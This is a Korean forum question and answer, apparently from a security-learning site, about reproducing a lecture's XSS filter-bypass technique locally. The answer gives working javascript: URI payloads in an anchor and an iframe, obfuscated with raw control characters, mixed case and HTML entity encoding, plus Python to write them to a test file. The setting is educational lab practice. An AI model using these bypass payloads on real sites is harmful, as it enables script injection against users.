XSS 필터링 우회 강의 질문

강의 자료중에
https://learn.dreamhack.io/318#8

이 부분을 로컬에서 실습해보려고 했는데 로컬에서는 안되고 있습니다ㅠㅠ

  1. 화면 캡처 2022-04-07 143718.png

정규화하거나 HTML Entity Encoding을 통한 XSS우회 해보고 싶은데 로컬에서
실습해보려면 어떤 코드가 있어야 하나요???

Click me클릭시에 alert가 안 뜨고 요로케 되고 있는 상태입니다!!
결과.png

#xss
작성자 정보
답변 1
2dedce
워게임 고인물

저기 표시된 \1 \4 \t 이런 것들이 2바이트 문자로 쓰는 것이 아니라 raw하게 1바이트로 0x01, \0x04, \0x09가 들어가는 것입니다.

>>> # 파이썬에서
>>> open("./test.html", "w").write("""
... <!DOCTYPE html>
... <html>
... <head>
... </head>
... <body>
...
... <a href="\1\4jAVasC\triPT:alert(document.domain)">Click me!</a>
... <iframe src="\1\4jAVasC\triPT:alert(document.domain)">
...
... </body>
... </html>
... """)

그리고 test.html을 켜보면 잘 작동합니다. 아래는 그때 html코드입니다.

<a href="jAVasC	riPT:alert(document.domain)">Click me!</a>
<iframe src="jAVasC	riPT:alert(document.domain)">

\1, \4 같이 non-printable한 문자가 브라우저에 , 로 보이네요. 적어도 \t는 탭키니까 문자 사이로 건너뛰는 모습이 보입니다.
근데 C스타일의 이스케이프 시퀀스처럼 \4라고 쓰지 않고 html entity encode를 이용해서 &#4;라고 쓴 것은 잘 작동합니다.

<a href="&#1;&#4;J&#97;v&#x61;sCript&colon;alert(document.domain);">Click me!</a>
<!--
&#1; = ascii 1
&#4; = ascii 4
&#97; = ascii 97 = 'a'
&#x61; = ascii 0x61 = ascii 97 = 'a'
&colon; = ':'
-->
2022.04.07. 18:46
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기